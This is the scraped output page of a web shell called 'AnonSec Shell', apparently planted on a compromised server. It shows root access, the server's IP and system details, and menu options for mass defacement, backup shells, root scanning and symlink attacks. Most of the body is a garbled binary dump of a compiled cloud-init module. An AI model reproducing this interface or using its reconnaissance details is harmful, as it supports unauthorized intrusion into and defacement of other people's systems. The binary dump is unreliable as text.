AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_spacewalk.cpython-310.pyc
o

x[h�
�
@s�UdZddlZddlmZddlmZddlmZddlm	Z	ddl
mZdgd	�ed
gd�Ze	e
d<e�e�Zgd
�ZdgZdZdd�Zeddfdd�Zdededededdf
dd�ZdS)z*Spacewalk: Install and configure spacewalk�N)�subp)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�cc_spacewalk)�rhel�fedora�	openeuler�	spacewalk)�id�distros�	frequency�activate_by_schema_keys�meta)�redhatr	r
z	rhn-setupz'/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERTc
CsVd}ztjddgdd�d}W|Stjy*}z
|jdkr�WYd}~|Sd}~ww)NFzrhn-profile-syncz	--verbose��captureT�)r�ProcessExecutionError�	exit_code)�already_registered�e�r�?/usr/lib/python3/dist-packages/cloudinit/config/cc_spacewalk.py�
is_registereds�

���rcCs�t�d||�dg}|�dd|g�|�dt|�g�|r'|�dt|�g�|r2|�dt|�g�|r=|�dt|�g�tj|d	d
�dS)Nz;Registering using `rhnreg_ks` profile '%s' into server '%s'�	rhnreg_ksz--serverUrlzhttps://%s/XMLRPCz
--profilenamez--proxyz--sslCACertz--activationkeyFr)�LOG�info�extend�strr)�server�profile_name�ca_cert_path�proxy�activation_key�cmdrrr�do_register(s�r'�name�cfg�cloud�args�returncCs�d|vrt�d|�dS|d}|�d�}|r8|j�t�t�s6t||jj	dd�j
|�d�|�d�d�dSdSt�d	|�dS)
Nrz=Skipping module named %s, no 'spacewalk' key in configurationr!T)�fqdnr$r%)r$r%zOSkipping module named %s, 'spacewalk/server' key was not found in configuration)r�debug�get�distro�install_packages�required_packagesrr'�
datasource�get_hostname�hostname)r(r)r*r+�spacewalk_serverrrr�handle@s,�

���r7)�__doc__�logging�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsrr�__annotations__�	getLogger�__name__rr
r2�def_ca_cert_pathrr'r �listr7rrrr�<module>s,�

�"

Anon7 - 2022
AnonSec Team